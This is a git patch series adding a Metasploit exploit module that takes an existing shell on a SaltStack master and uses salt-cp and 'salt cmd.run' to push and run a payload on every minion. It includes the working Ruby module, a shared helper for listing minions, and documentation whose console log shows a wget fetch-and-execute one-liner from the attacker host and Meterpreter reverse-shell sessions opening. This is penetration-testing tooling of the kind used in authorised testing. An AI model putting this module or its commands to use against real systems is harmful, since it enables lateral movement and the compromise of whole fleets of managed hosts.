From 02302439a08ec6582063ee96b7119b626a7f417f Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 16 Dec 2023 10:13:46 -0500 Subject: [PATCH 01/10] saltstack salt minion deployer --- .../local/saltstack_salt_minion_deployer.md | 121 ++++++++++++++ .../local/saltstack_salt_minion_deployer.rb | 155 ++++++++++++++++++ 2 files changed, 276 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md create mode 100644 modules/exploits/linux/local/saltstack_salt_minion_deployer.rb diff --git a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md new file mode 100644 index 000000000000..1eaff8452a77 --- /dev/null +++ b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +This exploit module uses saltstack salt to deploy a payload and run it +on all targets which have been selected (default all). +Currently only works against nix targets. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Get an initial shell on the box +1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer` +1. Do: `set session [#]` +1. Do: `run` +1. You should get sessions on all the targeted hosts + +## Options + +### SALT + +Location of salt-master executable if not in a standard location. This is added to a list of default locations +which includes `/usr/bin/salt-master`. Defaults to `` + +### MINIONS + +Which minions to target. Defaults to `*` + +## WritableDir + +A directory on the compromised host we can write our payload to. Defaults to `/tmp` + +## TargetWritableDir + +A directory on the target hosts we can write our payload to. Defaults to `/tmp` + +## CALCULATE + +This will calculate how many hosts may be exploitable by using Ansible's ping command. + +### ListenerTimeout + +How many seconds to wait after executing the payload for hosts to call back. Defaults to `60` + +## Scenarios + +### Minion 3002.2 on Ubuntu 20.04 + +Get initial access to the system. In this case, root was required to execute salt commands successfully. + +``` +resource (salt_deploy.rb)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (salt_deploy.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (salt_deploy.rb)> set srvport 8181 +srvport => 8181 +resource (salt_deploy.rb)> set target 7 +target => 7 +resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (salt_deploy.rb)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using URL: http://1.1.1.1:8181/hvy2Ol +[*] Server started. +[*] Run the following command on the target machine: +wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown +[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 3.3.3.3 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500 +``` + +``` +resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +resource (salt_deploy.rb)> set session 1 +session => 1 +resource (salt_deploy.rb)> set verbose true +verbose => true +resource (salt_deploy.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (salt_deploy.rb)> set lport 9996 +lport => 9996 +[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) > + +[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > +[*] Started reverse TCP handler on 1.1.1.1:9996 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] /tmp is writable, and salt-master executable found +[+] The target is vulnerable. +[*] Attempting to list minions +[*] minions: +- mac_minion +- salt-minion +- window-salt-minion +minions_denied: [] +minions_pre: [] +minions_rejected: [] +[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml +[+] Minions List +============ + + Status Minion Name + ------ ----------- + Accepted mac_minion + Accepted salt-minion + Accepted window-salt-minion + +[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal. +[*] Writing '/tmp/E76Azw' (336 bytes) ... +[*] Copying payload to minions + +[*] Executing payloads +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500 +``` diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb new file mode 100644 index 000000000000..5415d37c1801 --- /dev/null +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Saltstack Minion Payload Deployer', + 'Description' => %q{ + This exploit module uses saltstack salt to deploy a payload and run it + on all targets which have been selected (default all). + Currently only works against nix targets. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'c2Vlcgo' + ], + 'Platform' => [ 'linux', 'unix' ], + 'Stance' => Msf::Exploit::Stance::Passive, + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [], + 'DisclosureDate' => '2011-03-19', # saltstack salt original release date + 'DefaultTarget' => 0, + 'Passive' => true, # this allows us to get multiple shells calling home + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('SALT', [true, 'salt-master executable location', '']), + OptString.new('MINIONS', [true, 'Minions Target', '*']), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]), + OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), + OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), + OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120]) + ] + end + + def salt_master + return @salt if @salt + + ['/usr/bin/salt-master', datastore['SALT']].each do |exec| + next unless file?(exec) + next unless executable?(exec) + + @salt = exec + end + @salt + end + + # taken from saltstack_salt.rb module + def list_minions + # pull minions from a master + print_status('Attempting to list minions') + unless command_exists?('salt-key') + print_error('salt-key not present on system') + return + end + + count = 0 + + begin + out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT']) + vprint_status(out) + minions = YAML.safe_load(out) + rescue Psych::SyntaxError + print_error('Unable to load salt-key -L data') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'Minions List', + 'Indent' => 1, + 'Columns' => ['Status', 'Minion Name'] + ) + + store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') + print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") + minions['minions'].each do |minion| + tbl << ['Accepted', minion] + count += 1 + end + + print_good(tbl.to_s) + print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.") + Rex.sleep(10) + end + + def check + return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? + + if writable?(datastore['WritableDir']) + vprint_good("#{datastore['WritableDir']} is writable, and salt-master executable found") + return CheckCode::Vulnerable + end + CheckCode::Safe("#{datastore['WritableDir']} is not writable") + end + + def exploit + # Make sure we can write our exploit and payload to the local system + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] + list_minions if datastore['CALCULATE'] + + payload_name = rand_text_alphanumeric(5..10) + + # due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899 + upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe) + + print_status('Copying payload to minions') + cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'") + print_status('Executing payloads') + cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'") + + # stolen from exploit/multi/handler + stime = Time.now.to_f + timeout = datastore['ListenerTimeout'].to_i + loop do + break if timeout > 0 && (stime + timeout < Time.now.to_f) + + Rex::ThreadSafe.sleep(1) + end + end + + def on_new_session(_session) + cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') + + begin + print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}") + cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}") + print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed") + rescue StandardError + print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}") + end + end + +end From 5e3032826801bc6487e0d269b3b4d5246013dd37 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 17 Dec 2023 15:24:56 -0500 Subject: [PATCH 02/10] move options --- modules/exploits/linux/local/saltstack_salt_minion_deployer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 5415d37c1801..08af29c43e0c 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -44,7 +44,7 @@ def initialize(info = {}) } ) ) - register_advanced_options [ + register_options [ OptString.new('SALT', [true, 'salt-master executable location', '']), OptString.new('MINIONS', [true, 'Minions Target', '*']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), From a5698f6aa6b9d19157a3ff802af5770eb109623c Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 23 Dec 2023 12:18:06 -0500 Subject: [PATCH 03/10] review comments --- .../linux/local/saltstack_salt_minion_deployer.md | 2 +- .../linux/local/saltstack_salt_minion_deployer.rb | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md index 1eaff8452a77..1bb002f99967 100644 --- a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md +++ b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md @@ -31,7 +31,7 @@ A directory on the compromised host we can write our payload to. Defaults to `/t ## TargetWritableDir -A directory on the target hosts we can write our payload to. Defaults to `/tmp` +A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp` ## CALCULATE diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 08af29c43e0c..7b352991b09a 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -45,13 +45,13 @@ def initialize(info = {}) ) ) register_options [ - OptString.new('SALT', [true, 'salt-master executable location', '']), + OptString.new('SALT', [true, 'salt-master executable location', '/usr/bin/salt-master']), OptString.new('MINIONS', [true, 'Minions Target', '*']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]), + OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]), OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), - OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120]) + OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120]) ] end @@ -59,7 +59,6 @@ def salt_master return @salt if @salt ['/usr/bin/salt-master', datastore['SALT']].each do |exec| - next unless file?(exec) next unless executable?(exec) @salt = exec @@ -76,8 +75,6 @@ def list_minions return end - count = 0 - begin out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT']) vprint_status(out) @@ -95,13 +92,16 @@ def list_minions store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") + count = 0 minions['minions'].each do |minion| tbl << ['Accepted', minion] count += 1 end print_good(tbl.to_s) - print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.") + + # https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 + print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") Rex.sleep(10) end From e72242949e6aaf2ae7d2f892b1c7462e33047455 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 23 Dec 2023 12:22:57 -0500 Subject: [PATCH 04/10] review comments --- .../exploits/linux/local/saltstack_salt_minion_deployer.rb | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 7b352991b09a..f6be6cd2be73 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -108,11 +108,7 @@ def list_minions def check return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? - if writable?(datastore['WritableDir']) - vprint_good("#{datastore['WritableDir']} is writable, and salt-master executable found") - return CheckCode::Vulnerable - end - CheckCode::Safe("#{datastore['WritableDir']} is not writable") + CheckCode::Vulnerable('salt-master executable found') end def exploit @@ -141,6 +137,7 @@ def exploit end def on_new_session(_session) + super cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') begin From b654275ec438f8216a9db41372090eb00673059f Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 23 Dec 2023 13:52:52 -0500 Subject: [PATCH 05/10] add saltstack lib --- lib/msf/core/exploit/local/saltstack.rb | 27 +++++++++++++++++++ .../local/saltstack_salt_minion_deployer.rb | 27 +++++-------------- modules/post/multi/gather/saltstack_salt.rb | 25 +++++------------ 3 files changed, 39 insertions(+), 40 deletions(-) create mode 100644 lib/msf/core/exploit/local/saltstack.rb diff --git a/lib/msf/core/exploit/local/saltstack.rb b/lib/msf/core/exploit/local/saltstack.rb new file mode 100644 index 000000000000..e02eb8278876 --- /dev/null +++ b/lib/msf/core/exploit/local/saltstack.rb @@ -0,0 +1,27 @@ +require 'yaml' + +module Msf + module Exploit::Local::Saltstack + def list_minions(salt_key_exe='salt-key') + # pull minions from a master, returns hash of lists of the output + print_status('Attempting to list minions') + unless command_exists?(salt_key_exe) + print_error('salt-key not present on system') + return + end + + begin + out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT']) + vprint_status(out) + minions = YAML.safe_load(out) + rescue Psych::SyntaxError + print_error('Unable to load salt-key -L data') + return + end + + store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') + print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") + minions + end + end +end \ No newline at end of file diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index f6be6cd2be73..451c8c0f2088 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Saltstack prepend Msf::Exploit::Remote::AutoCheck @@ -58,7 +59,7 @@ def initialize(info = {}) def salt_master return @salt if @salt - ['/usr/bin/salt-master', datastore['SALT']].each do |exec| + [datastore['SALT'], '/usr/bin/salt-master'].each do |exec| next unless executable?(exec) @salt = exec @@ -66,23 +67,9 @@ def salt_master @salt end - # taken from saltstack_salt.rb module - def list_minions - # pull minions from a master - print_status('Attempting to list minions') - unless command_exists?('salt-key') - print_error('salt-key not present on system') - return - end - - begin - out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT']) - vprint_status(out) - minions = YAML.safe_load(out) - rescue Psych::SyntaxError - print_error('Unable to load salt-key -L data') - return - end + def list_minions_printer + minions = list_minions + return if minions.nil? tbl = Rex::Text::Table.new( 'Header' => 'Minions List', @@ -90,8 +77,6 @@ def list_minions 'Columns' => ['Status', 'Minion Name'] ) - store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') - print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") count = 0 minions['minions'].each do |minion| tbl << ['Accepted', minion] @@ -114,7 +99,7 @@ def check def exploit # Make sure we can write our exploit and payload to the local system fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] - list_minions if datastore['CALCULATE'] + list_minions_printer if datastore['CALCULATE'] payload_name = rand_text_alphanumeric(5..10) diff --git a/modules/post/multi/gather/saltstack_salt.rb b/modules/post/multi/gather/saltstack_salt.rb index 92ae318f81a0..9fb4f4c06960 100644 --- a/modules/post/multi/gather/saltstack_salt.rb +++ b/modules/post/multi/gather/saltstack_salt.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Post include Msf::Post::File + include Msf::Exploit::Local::Saltstack def initialize(info = {}) super( @@ -138,21 +139,9 @@ def gather_minion_data end end - def list_minions - # pull minions from a master - print_status('Attempting to list minions') - unless command_exists?('salt-key') - print_error('salt-key not present on system') - return - end - begin - out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT']) - vprint_status(out) - minions = YAML.safe_load(out) - rescue Psych::SyntaxError - print_error('Unable to load salt-key -L data') - return - end + def list_minions_printer + minions = list_minions + return if minions.nil? tbl = Rex::Text::Table.new( 'Header' => 'Minions List', @@ -160,9 +149,7 @@ def list_minions 'Columns' => ['Status', 'Minion Name'] ) - store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') - print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") - minions['minions'].each do |minion| + minions.each do |minion| tbl << ['Accepted', minion] end minions['minions_pre'].each do |minion| @@ -198,7 +185,7 @@ def minion end def master - list_minions + list_minions_printer gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP'] # get sls files From 47a58bda3bbfc346b764758ee7a6a8bc1d0c172e Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 24 Dec 2023 11:54:22 -0500 Subject: [PATCH 06/10] saltstack library rubocop and comments --- lib/msf/core/exploit/local/saltstack.rb | 50 ++++++++++++++----------- 1 file changed, 28 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/exploit/local/saltstack.rb b/lib/msf/core/exploit/local/saltstack.rb index e02eb8278876..b6a297916fa6 100644 --- a/lib/msf/core/exploit/local/saltstack.rb +++ b/lib/msf/core/exploit/local/saltstack.rb @@ -1,27 +1,33 @@ require 'yaml' module Msf - module Exploit::Local::Saltstack - def list_minions(salt_key_exe='salt-key') - # pull minions from a master, returns hash of lists of the output - print_status('Attempting to list minions') - unless command_exists?(salt_key_exe) - print_error('salt-key not present on system') - return - end - - begin - out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT']) - vprint_status(out) - minions = YAML.safe_load(out) - rescue Psych::SyntaxError - print_error('Unable to load salt-key -L data') - return - end + module Exploit::Local::Saltstack + # + # lists minions using the salt-key command. + # + # @param salt_key_exe [String] The name location of the salt-key executable + # @return [YAML] YAML document with the minions listed + # + def list_minions(salt_key_exe = 'salt-key') + # pull minions from a master, returns hash of lists of the output + print_status('Attempting to list minions') + unless command_exists?(salt_key_exe) + print_error('salt-key not present on system') + return + end - store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') - print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") - minions - end + begin + out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT']) + vprint_status(out) + minions = YAML.safe_load(out) + rescue Psych::SyntaxError + print_error('Unable to load salt-key -L data') + return + end + + store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') + print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") + minions end -end \ No newline at end of file + end +end From 80e9f1b97db3200bf8ce0480e2cb75fc6c37d5bc Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Jan 2024 06:38:59 -0500 Subject: [PATCH 07/10] saltstack salt-master review --- .../exploit/linux/local/saltstack_salt_minion_deployer.md | 2 +- .../exploits/linux/local/saltstack_salt_minion_deployer.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md index 1bb002f99967..4c3d5309600e 100644 --- a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md +++ b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md @@ -19,7 +19,7 @@ Currently only works against nix targets. ### SALT Location of salt-master executable if not in a standard location. This is added to a list of default locations -which includes `/usr/bin/salt-master`. Defaults to `` +which includes `/usr/bin/salt-master`, `/usr/bin/local/salt-master`. Defaults to `` ### MINIONS diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 451c8c0f2088..441820be4d86 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -46,7 +46,7 @@ def initialize(info = {}) ) ) register_options [ - OptString.new('SALT', [true, 'salt-master executable location', '/usr/bin/salt-master']), + OptString.new('SALT', [true, 'salt-master executable location', '']), OptString.new('MINIONS', [true, 'Minions Target', '*']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]), @@ -59,7 +59,7 @@ def initialize(info = {}) def salt_master return @salt if @salt - [datastore['SALT'], '/usr/bin/salt-master'].each do |exec| + [datastore['SALT'], '/usr/bin/salt-master', '/usr/bin/local/salt-master'].each do |exec| next unless executable?(exec) @salt = exec From e9296d1addba3194e29e2beabf2bf41f7e43cbd8 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 10 Jan 2024 17:04:03 -0500 Subject: [PATCH 08/10] saltstack review --- .../exploit/linux/local/saltstack_salt_minion_deployer.md | 6 +++++- .../exploits/linux/local/saltstack_salt_minion_deployer.rb | 7 +++++-- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md index 4c3d5309600e..33f60b009f50 100644 --- a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md +++ b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md @@ -4,6 +4,10 @@ This exploit module uses saltstack salt to deploy a payload and run it on all targets which have been selected (default all). Currently only works against nix targets. +### Vulnerable Host + +A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml). + ## Verification Steps 1. Install the application @@ -19,7 +23,7 @@ Currently only works against nix targets. ### SALT Location of salt-master executable if not in a standard location. This is added to a list of default locations -which includes `/usr/bin/salt-master`, `/usr/bin/local/salt-master`. Defaults to `` +which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to `` ### MINIONS diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 441820be4d86..27816ea0893c 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -59,7 +59,7 @@ def initialize(info = {}) def salt_master return @salt if @salt - [datastore['SALT'], '/usr/bin/salt-master', '/usr/bin/local/salt-master'].each do |exec| + [datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec| next unless executable?(exec) @salt = exec @@ -88,6 +88,7 @@ def list_minions_printer # https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") Rex.sleep(10) + count end def check @@ -99,7 +100,9 @@ def check def exploit # Make sure we can write our exploit and payload to the local system fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] - list_minions_printer if datastore['CALCULATE'] + count = 1 # default to running if we decide not to calculate + count = list_minions_printer if datastore['CALCULATE'] + fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0 payload_name = rand_text_alphanumeric(5..10) From 2cfcb743030fadae6ce957226b4577a64491f7a6 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 10 Jan 2024 17:09:02 -0500 Subject: [PATCH 09/10] saltstack review --- .../linux/local/saltstack_salt_minion_deployer.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md index 33f60b009f50..d47e122e5079 100644 --- a/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md +++ b/documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md @@ -29,21 +29,22 @@ which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to Which minions to target. Defaults to `*` -## WritableDir +### WritableDir A directory on the compromised host we can write our payload to. Defaults to `/tmp` -## TargetWritableDir +### TargetWritableDir A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp` -## CALCULATE +### CALCULATE This will calculate how many hosts may be exploitable by using Ansible's ping command. ### ListenerTimeout -How many seconds to wait after executing the payload for hosts to call back. Defaults to `60` +How many seconds to wait after executing the payload for hosts to call back. +If set to `0`, wait forever. Defaults to `60` ## Scenarios From 381b840f11342c6f1041ba87da024eabc911a7c1 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 10 Jan 2024 17:19:58 -0500 Subject: [PATCH 10/10] salt review --- modules/exploits/linux/local/saltstack_salt_minion_deployer.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb index 27816ea0893c..1910ce5e778b 100644 --- a/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb +++ b/modules/exploits/linux/local/saltstack_salt_minion_deployer.rb @@ -63,6 +63,7 @@ def salt_master next unless executable?(exec) @salt = exec + return @salt end @salt end